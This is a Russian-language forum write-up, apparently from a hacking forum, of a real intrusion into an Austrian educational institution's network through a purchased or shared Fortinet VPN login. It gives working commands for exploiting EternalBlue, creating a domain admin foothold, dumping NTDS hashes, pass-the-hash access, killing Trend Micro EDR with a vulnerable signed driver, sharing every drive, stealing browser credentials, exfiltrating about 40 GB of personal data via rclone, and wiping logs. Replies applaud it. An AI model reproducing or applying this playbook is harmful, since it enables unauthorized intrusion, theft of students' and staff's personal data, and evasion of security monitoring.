LIMB
Вход Регистрация

тема

Мелкая легкая сетка с таким себе EDR

pinkman92 · · 6 ответов · 669 просмотров

Автор: pinkman92

Ку-ку. Продолжаем добрую традицию и дальше будем делиться райтапами на форуме.
В руки попала сетка австрийского учебного заведения от соседа по форуму. Заведение кстати аккредитовано всякими государственными организациями, почему бы не потестить его.

Имеем в руках лишь FortiSSL строку. Нельзя сказать что фортик определенно помер, но от его распространенности в прошлом сейчас на нем меньше хороших сеток которые можно ставить чем обычно на других вендорах. И из-за популярности в прошлом искать хороший мат сейчас стало чуть-чуть сложнее.
По канону этой традиции берем опенконнект и подключаемся:

sudo openconnect --protocol=fortinet --no-dtls IP:PORT -u VPNUSER

Смотрим что нам вернет.

Не удалось прогрузить медиа


Как понятно по названию сетка маленькая, и вернулся только один роут, 192.168.0.x. Можно подглядеть через ip route.
Оно и хорошо. Меньше сканирования и мучений с отдельными роутами.
Здесь уже была статья описывающая первичные действия и возможные пути развития сетки без начальных кред. Я только скажу что в основном полезны сканнеры gogo и SoftPerfect Network Scanner в любой ситуации, хоть с кредами хоть без. Есть на винду и на линух и легко устанавливаются, кряк софтперфекта можно найти на cyberarsenal.org в отдельной ветке. С gogo вывалился в среднем типичный результат. Есть много офисной техники, принтеры, роутеры, даже умные доски. Есть и тачки которые можно эффективно проэнумерировать через nxc smb диапазон, нетекзек довольно точно определяет версии, куда точнее чем gogo с его автодетектом версий.
Применим gogo с простым набором ключей:

gogo -i диапазон -p порты

Не удалось прогрузить медиа


Интересных находок вроде продуктов киосеры, тплинка и старых самсунгов не нашлось. Никаких сервисов в вебе по типу интерфейсов NAS тоже нет. Оно и понятно, имеем дело со скучным образовательным учреждением. Много только бесполезного IoT.

Отсюда мысленно исключаем один из самых простых векторов добычи первых кред. При сканировании с нетекзека результат по количеству тачек всегда был разный. Было то 2, то вообще 11 компьютеров.
Но среди машин были и откровенные старики. В данном случае компьютер с именем SRVNMS01 в нетбиосе, он же и был домейн контроллером по результатам gogo так как у него есть 88 порт. Помимо того, у него был и RDP. Так то изначально векторов без кредов куда больше и логически их можно по простому расположить так: смотрим анонимные и гостевые доступы на RPC/SMB/LDAP и пытаемся почитать шары на предмет кредов или сгрузить юзеров под дальнейший спрей. Если ничего не вышло и в сети есть интересные принтеры или другая всячина, можно пойти и тестировать уже их.
Если есть старые машины прежде всего стоит проверять на эксплоиты. И это подходящий вариант.

Не удалось прогрузить медиа


Версия вышла примерно в 2013 и ее следует проверить на основные сплойты, среди которых самые распространенные это зирологон, MS17-010 и прочие вроде смбгоста.
В нетекзеке как раз есть модули под все вышеперечисленные сплойты:

nxc smb айпи -u '' -p '' -M zerologon
nxc smb айпи -u '' -p '' -M ms17-010

В своем обычном состоянии они не требуют кредов и проводят тестирование без аутентификации.

Не удалось прогрузить медиа


Старик предварительно откликнулся на EternalBlue, что само по себе ценная находка. Отдельно стоит сказать что вне зависимости от того где шеллы создаются а где нет, что было разобрано в соседней статье с полезными фишками, использование пропиаренного в прошлые года модуля Metasploit с последующим созданием реверс шелла крайне не рекомендуется. Пайлоды там если культурно говорить давно плохо себя чувствуют. Да и рекомендуется прежде всего ничего лишнего между машинами туда сюда не качать.

Не удалось прогрузить медиа


Модуль под подобие командных инъекций(в случае EternalBlue - от высшего представителя локальной группы машины) в Metasploit еще относительно живой и более чем сподручный. Его и стоит взять, на скрине он обозначен как ms17_010_command. Тут Австрия и основной язык немецкий, потому надо думать о том что группы пользователей и прочие мелкие фичи могут сильно отличаться от распространенных английских вариаций. В моем случае будет так:

set command “net user svcadmin password /add /domain”

set command "net localgroup Administratoren svcadmin /add"

Не удалось прогрузить медиа


Отработало. Получается локальный админ и этого уже достаточно для многих дел. Если хочется добавить нового пользака не только в номенклатуру тачки, но и в домен, то можно добавить при создании юзера ключ /domain(как в моем примере). Самым тихим из доступных вариантов имеющих смысл обычно будет добавление доменного пользователя без особых привилегий.
В случае если пользак существует только в локальной группе юзеров тачки тот же nxc будет работать с флагом --local-auth, на что стоит обращать внимание.
Сразу в домейн админы нового пользака добавлять обычно не рекомендуется. Это во много раз заметнее большинства техник которые можно делать с имеющимися правами.

Из имеющегося любопытства запускаем модуль enum_av позволяющий провести энумерацию AV/EDR. Выглядит это следующим образом:

nxc smb айпи -u 'новый пользак' -p 'его пасс' -M enum_av

Не удалось прогрузить медиа


И получился так, в заведении есть EDR. Trend Micro не флагманский продукт высшего эшелона и совсем жизни не испортит, но помешать может хорошо.
Я уже поторопился поленившись искать альтернативные векторы эскалации с простого доменного юзера и поэтому пойду дальше в той же манере.
Однако добивать всю эту картину мылом еще и добавлением пользака в домен админы не хотелось и тк есть локаладмин на домейн контроллере было решено сделать DCSync. DCSync - техника в основном нацеленная на репликацию всех важных данных(с каталогов) и при этом иммитирующая поведение обычного контроллера. Происходит запрос на репликацию и всё важное включая хеши летит к нам.

nxc smb айпи -u юзернейм -p 'пароль' --ntds

--ntds в нетекзеке работает как обертка сикретсдампа(из набора Impacket) и сильной разницы в использовании не будет. Протокол один и тот же, MS-DRSR. Все происходит не делая никаких записей на диск(если не дергать ключи нетекзека вроде vss который включает режим Volume Shadow Copy что в разы громче).

Не удалось прогрузить медиа


Получилось чуть больше 400 строк что норм для подобных размеров. Хеш настоящего домейн админа получили и можем идти дальше. 
Развивать дальнейшую обстановку можно используя технику Pass-The-Hash так как NTDS уже вылился.

Не удалось прогрузить медиа


Есть админ.

Так как сетка совсем мелкая и врядли интересная сильно мучиться в борьбе с имеющимся маленьким противником не хотелось и мысли в итоге пришли в основном две, поискать опенсорсные решения на гите по типу EDRChoker которые бы затруднили его работу или воспользоваться какой-то из возможностей самого виндовса.
Кстати на гите много и PoC для киллялок через BYOVD. Рисерчеры выкладывают свои труды прям туда вместе со статьей на медиум или инфосекрайтапс. Многое можно найти в опенсорсе за бесплатно и не напрягавшись.
Основными путями борьбы через фичи самой винды будут работа с символическими ссылками, попытка занести свои установщики и работа с путями целевых файлов. В последнем случае с техникой которая обычно не слишком известна в широких кругах основная цель пентестера будет заключаться в изменении путей куда логи пишет сама система. Широкий пример это работа с AutoLogger и GlobalLogger. Аутологгер собирает события из конкретных ETW-провайдеров и пишет их в точку назначения в формате пути, а GlobalLogger собирает события ядра и управляется самими провайдерами событий. Тоже пишет логфайл определяя куда писать по указанному пути. Вся суть таких методов это постараться перезаписать или сломать файлы службы а потом дать ребут.
Когда сессии автологгера или глобаллоггера стартуют система откроет файл по указанному пути или создаст его если там ничего нет(не наш случай) и начнет писать туда события в бинарном формате убивая тот файл что там был раньше. По таймингам запуск этих сессий начинается очень рано и обгоняет многие другие службы поэтому они не успеют стартануть.
В этот раз копаться в реестре я не стал и решил использовать один из публично доступных поков с гитхаба. Был выбран https://github.com/redteamfortress/PhantomKiller как не такой старый и зашарпанный. Килялка юзает легитимный драйвер BootRepair.sys имеющим валидную подпись от Lenovo. Ну и в дровине есть уязвимость которая и применяется килялкой. В репозитории есть интересный рисерч описывающий механику поиска таких вуль и косвенно описывающий механику атаки.
Имея админа мы можем загрузить дрова в ядро через утилиты самой Windows и уже потом проэксплуатировать находки автора в этих дровах.
Это же описано и в самом репозитории и является классическим путем BYOVD-атаки:
sc.exe create PhantomKiller binPath="C:\Path\to\BootRepair.sys" type=kernel
sc.exe start PhantomKiller

Так и решил пойти. Загрузим всё нужное на машину и зайдем через WinRM:

evil-winrm -i 192.168.0.2 -u Administrator -H 'хеш'

Не удалось прогрузить медиа


Драйвер мы успешно подгрузили. Полдела сделано.
Аккуратно залистим процессы и поищем среди них нужные:

Не удалось прогрузить медиа


Список нежелаемых соседей получен. Использовал горячие слова для поиска чтобы много не терять время. Тут же мы видим и абсолютные пути до файлов нужных служб если захотим пойти через путь с перезаписью.
Убиваем всё лишнее и можем заходить по RDP. Всё равно ночь и никто не будет делать мозги.

Не удалось прогрузить медиа


Забавно что трендмикро убился без особого сопротивления. Драйвер конечно не самый популярный но время с его открытия прошло достаточно и потому это всё равно странно.
Обычная для TrendMicro иконка в трее тоже пропала и лисенер на тачке тоже свалился. На другие тачки можно организовать доставку уже через псекзек, что и было сделано. Отработало без фокусов.


Дальше все можно сказать избито. Можем ходить по машинам и собирать информацию, можем выполняться на любой из них.
Прежде всего расшарил диски для последующей работы. Делается не сложно, можно раскидать через однострочник по nxc -X:

Get-PSDrive -PSProvider FileSystem | Where-Object { $.Root -match "^[A-Z]:\\$" } | ForEach-Object { net share "$($.Name)=$($_.Root)" /GRANT:Jeder,FULL }
Дальше можно и в дк замонтировать для дальнейшей работы и самим работать удобнее. На виндовс бы использовался какой-то удобный GUI-клиент для работы с таким форматом, таких много есть. Главное помнить что в пауршелле с такими ванлайнерами будут подлянки изза языка системы. В данном австрийском случае это немецкий и потому имя группы "Все" будет Jeder. Сырые SID утилитой net share не всегда воспринимаются и SID может отвергать как и английские названия и другое. Вот пример на одной из машин с кучей дисков куда кинут расшар. Появляется диск С и далее по списку(все на которые ответило):


Не удалось прогрузить медиа



Не удалось прогрузить медиа


Осмотр даты проведен уже частично на RDP когда посидел спокойно и увидел что мешать мне некому. Даты много интересной и дисков как на ДК так и на других тачках много. Сам ДК возвращал много шар. Больше сотни. Нетекзек вис намертво когда попытки энумерации были. Зато EDR помер и никто маунтить и ползать по тачкам не мешал. Личной инфы тоже довольно много тк учреждение образовательное.

Не удалось прогрузить медиа


Браузеры тоже собрал. Там много личных кабинетов было и был даже амазон на дк. Не знаю зачем и почему. Сделал это через DumpBrowserCreds, вот он https://github.com/Maldev-Academy/DumpBrowserSecrets.

Не удалось прогрузить медиа



Далее оставалось только прозиповать все интересующие файлы и забрать. Решил сделать это через старый бородатый rclone и облачные хранилища. 
Загружаем на машину экзешник, конфигурируем подключения на удобный способ(часто делают на мегу) и качаем. Тут у Австрии какие то перебои наверно были и скорость особо не впечатляла, так что я сильно шуструю качалку не ставил хотя и мог, тк вся защита была выключена давно. Не имело смысла.

Сделано в итоге следующим образом:

rclone.exe copy файлдлякопии вашехранилище --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12 -P

С мультипотоками всем все понятно. Автоподтверждение что бы не кликать постоянно терминал и игнор экзистинг что бы не делать дубликатов.
Для экономии времени можно еще докинуть --no-traverse. Это очень полезный ключ который заставит утилиту игнорировать сквозное сканирование ФС. С трансферами и мультипотоком стоит быть крайне аккуратным и 12 как у меня тут на тачках где есть кому вам помешать лучше не делать. Для наглядности тут скрин заделаю с RDP, но на RDP лучше с инструментами сильно не наглеть.

Не удалось прогрузить медиа


После этого можно брать и смотреть что добылось и сколько уже в спокойном ритме у себя.

Ну и финально можем все почистить. Использовал свой скрипт и nyx от evilsocket ради эксперимента, чистит хорошо на старых и на новых системах и везде отработало без проблем. На другие тачки раскидывал с псекзека.

Не удалось прогрузить медиа


Обычно nyx предлагается делать в 2 прогона первый из которых -DryRun а второй с флагом -Force. Тот что с -Force прочищает куда больше мест что понятно по названиям.

Собрали дату и в закат, можно спокойно изучить что там такое у них лежало. Суммарно скачал в районе 40 гб архивами тк информации действительно много разной было и адреса с примеров далеко не все что там можно было найти. Дожидался включения еще тачек которые вечером гасли и оставалось 4-5.
Вышло немного сумбурно(как и сам тест который в начале шел просто на отвали) но поддерживать чем-то от себя хочется. Буду улучшать свой стиль написания. Было забавно что дало срубить через публичный инструмент дрова с которого уже по идее должны были быть во всех блеклистах.
👍47 ❤️7 👏6 🤔11
Очень интересно (y)
Ответbarak

Очень интересно (y)

но бессистемно, малосвязно и жаргонообразно... (автор знает =)
👍3
Лайк! Живые примеры всегда в кайф читать)
Ответlisa99

но бессистемно, малосвязно и жаргонообразно... (автор знает =)

It's definitely not OpSec—Trend Micro is really terrible as an EDR; compared to SentinelOne, it would get flagged the moment it runs the enum_av command.
👍3
Ответgrosha111

It's definitely not OpSec—Trend Micro is really terrible as an EDR; compared to SentinelOne, it would get flagged the moment it runs the enum_av command.

не знаю насколько это правда, но говорят что проблема Trend Micro в сложных и тонких настройках, а не в самом движке
Именно этим якобы и объясняется разрыв с SentinelOne.
То есть причина - кривые ручки сисадминов.
👍5 🔥1
Ответlisa99

не знаю насколько это правда, но говорят что проблема Trend Micro в сложных и тонких настройках, а не в самом движке Именно этим якобы и объясняется разрыв с SentinelOne. То есть причина - кривые ручки сисадминов.

What you're saying actually applies to all EDRs and security systems in general—even among security experts, the problem is always human, haha :ROFLMAO:
👍3

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.